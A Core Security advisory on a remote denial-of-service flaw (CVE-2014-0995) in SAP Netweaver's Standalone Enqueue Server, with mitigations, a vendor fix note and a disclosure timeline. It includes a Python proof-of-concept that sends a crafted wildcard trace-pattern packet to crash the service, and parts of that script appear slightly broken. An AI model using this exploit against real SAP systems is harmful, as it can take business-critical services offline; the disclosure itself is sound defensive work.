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[CORE-2014-0007] -SAP Netweaver Enqueue Server Trace Pattern Denial of Service Vulnerability

Core Security - Corelabs Advisory

SAP Netweaver Enqueue Server Trace Pattern Denial of Service Vulnerability

1. **Advisory Information**

Title: SAP Netweaver Enqueue Server Trace Pattern Denial of Service
Advisory ID: CORE-2014-0007
Advisory URL: http://www.coresecurity.com/advisories/sap-netweaver-enqueue-server-trace-pattern-denial-service-vulnerability
Date published: 2014-10-15
Date of last update: 2014-10-15
Vendors contacted: SAP
Release mode: Coordinated release

2. **Vulnerability Information***
Class: Uncontrolled Recursion [CWE-674]
Impact: Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0995

3. **Vulnerability Description**

        SAP Netweaver [1] is a technology platform for building and integrating SAP business
        applications. A vulnerability has been found in SAP Netweaver that could allow an
        unauthenticated, remote attacker to create denial of service conditions. The vulnerability
        is triggered by sending a specially crafted SAP Enqueue Server packet to remote TCP port 32NN
        (NN being the SAP system number) of a host running the "Standalone Enqueue Server" service, part
        of SAP Netweaver Application Server ABAP/Java. The "Standalone Enqueue Server" is a critical
        component of a SAP Netweaver installation in terms of availability, rendering the whole SAP
        system unresponsive.

4. **Vulnerable Packages**

   . SAP Netweaver 7.01 (enserver.exe version v7010.32.15.63503).
   . SAP Netweaver 7.20 (enserver.exe version v7200.70.18.23869).

    Other versions are probably affected too, but they were not checked.

5. **Vendor Information, Solutions and Workarounds**

        Martin Gallo proposed the following actions to mitigate the impact of the vulnerabilities:

        Restrict access to the Standalone Enqueue service by configuring Access Control Lists [4] and to
        the Standalone Enqueue Service TCP port 32XX (XX is the instance number).

        SAP published a security note [3] with the fix.

6. **Credits**

      This vulnerability was discovered and researched by Martin Gallo from Core Security Consulting
      Services. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core
      Advisories Team.

7. **Technical Description / Proof of Concept Code**

      When the trace level of the service is configured to stop logging when a pattern is found [2], the
      service does not properly control the amount of recursion resulting in a stack overflow exception.
      The vulnerability can be triggered remotely by setting the trace level with a wildcard Trace Pattern.
      This vulnerability could allow a remote, unauthenticated attacker to conduct a denial of service
      attack against the vulnerable systems, rendering the Enqueue Server unavailable.

      The following python code can be used to trigger the vulnerability:

7.1. **Proof of Concept**

import socket, struct
from optparse import OptionParser

# Parse the target options
parser = OptionParser()
parser.add_option("-d", "--hostname", dest="hostname", help="Hostname",
parser.add_option("-p", "--port", dest="port", type="int", help="Port
number", default=3200)
(options, args) = parser.parse_args()

def send_packet(sock, packet):
    packet = struct.pack("!I", len(packet)) + packet

# Connect
print "[*] Connecting to", options.hostname, "port", options.port
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((options.hostname, options.port))

print "[*] Sending crash packet"

crash = '\xab\xcd\xe1\x23'  # Magic bytes
crash+= '\x00\x00\x00\x00'  # Id
crash+= '\x00\x00\x00\x5b\x00\x00\x00\x5b'  # Packet/frag length
crash+= '\x03\x00\x00\x00'  # Destination/Opcode/MoreFrags/Type
crash+= 'ENC\x00'  # Admin Eye-catcher
crash+= '\x01\x00\x00\x00'  # Version
crash+= '#EAA'  # Admin Eye-catcher
crash+= '\x01\x00\x00\x00\x00'  # Len
crash+= '\x06\x00\x00\x00\x00\x00'  # Opcode/Flags/RC
crash+= '#EAE'  # Admin Eye-catcher
crash+= '\x01\x04\x00\x00'  # Version/Action/Limit/Tread
crash+= '\x00\x00\x00\x00'
crash+= '\x00\x00\x00\x03\x00\x00\x00\x03'  # Trace Level
crash+= '\x01'  # Logging
crash+= '\x01\x40\x00\x00'  # Max file size
crash+= '\x00\x00\x00\x01\x00\x00\x00\x01'  # No. patterns
crash+= '\x00\x00\x00\x25#EAH'  # Trace Eye-catcher
crash+= '\x01*\x00'  # Trace Pattern
crash+= '#EAD'  # Trace Eye-catcher

send_packet(connection, crash)
print "[*] Crash sent !"

8. **Report Timeline**

. 2014-06-02:

        Initial notification sent to SAP, including technical description to reproduce the
        vulnerability. Publication date set to Jun 30, 2014.

. 2014-06-03:

        Vendor notifies that the tracking number 1153917-2014 was created for this issue.

. 2014-06-26:

        Core Security requests SAP to inform the status of the advisory.

. 2014-06-30:

        The vendor informs they were not able to reproduce the issue and they request additional
        details and a proof of concept.

. 2014-06-30:

        Core Security sends SAP a full description of the vulnerability including a python script
        to trigger it.

. 2014-07-11:

        Core Security asks if the vendor was able to trigger the vulnerability. Additinally we
        requested to set a publication date for the advisory based on the release of a fix.

. 2014-07-14:

        The vendor informs they were able to reproduce the issue but they will not be able to
	provide a timeline for the fix at the time. They inform they will work with high priority
	on it and will inform us of the planned fix release date.

. 2014-08-12:

        Core Security asks if the vendor was able to develop a fix and if they have a possible
	timeline for its availability.

. 2014-08-13:

        The vendor informs that the fix is undergoing quality checks. They also inform that
	they can't provide an exact date of publication yet. They also request a 3 months grace
	period once the patch is available.

. 2014-08-13:

        Core Security informs SAP that after we get notice that the fix	is available to the
	public we will publish the advisory accordingly and will not wait for the 3 months of
	grace as requested because that's not our proceeding policy.

. 2014-08-18:

        The vendor informs that the fix is going to be released with the
	October patch day, on Tuesday the 14th, of 2014.

. 2014-10-14:

        The vendor publishes the fix under the security note 2042845.

. 2014-10-15:

        Core Security releases the advisory.

9. **References**

[1] http://www.sap.com/platform/netweaver/index.epx.
[3] SAP security note 2042845
[4] https://websmp230.sap-ag.de/sap/support/notes/1495075.

10. **About CoreLabs**

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	security including system vulnerabilities, cyber attack planning and
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11. **About Core Security**

	Core Security enables organizations to get ahead of threats with
	security test and measurement solutions that continuously identify and
	demonstrate real-world exposures to their most critical assets. Our
	customers can gain real visibility into their security standing, real
	validation of their security controls, and real metrics to more effectively
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12. **Disclaimer**

        The contents of this advisory are copyright (c) 2014 Core Security 
	and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution
	Non-Commercial Share-Alike 3.0 (United States) License:

13. **PGP/GPG Keys**

	This advisory has been signed with the GPG key of Core Security
	advisories team, which is available for download at